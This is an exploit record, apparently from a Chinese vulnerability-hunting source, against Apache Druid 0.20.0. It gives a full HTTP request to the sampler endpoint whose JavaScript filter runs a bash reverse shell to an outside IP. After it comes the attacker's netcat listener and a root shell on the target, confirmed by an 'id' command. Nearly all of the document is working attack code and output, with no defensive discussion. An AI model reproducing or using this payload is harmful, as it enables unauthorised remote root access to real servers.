EXP:

```
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 183.134.*.2*:8*1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1048
Connection: close


{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/39.*8.*.*7/23333 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

root@vulhunt:~# while true; do nc -lvvv 23333; done
Listening on [0.0.0.0] (family 0, port 23333)
Connection from [183.1**.*.216] port 23333 [tcp/*] accepted (family 2, sport 36832)
bash: 此 shell 中无任务控制
[root@kk216 apache-druid-0.20.0]# id
id
uid=0(root) gid=0(root) 组=0(root)
[root@kk216 apache-druid-0.20.0]#
```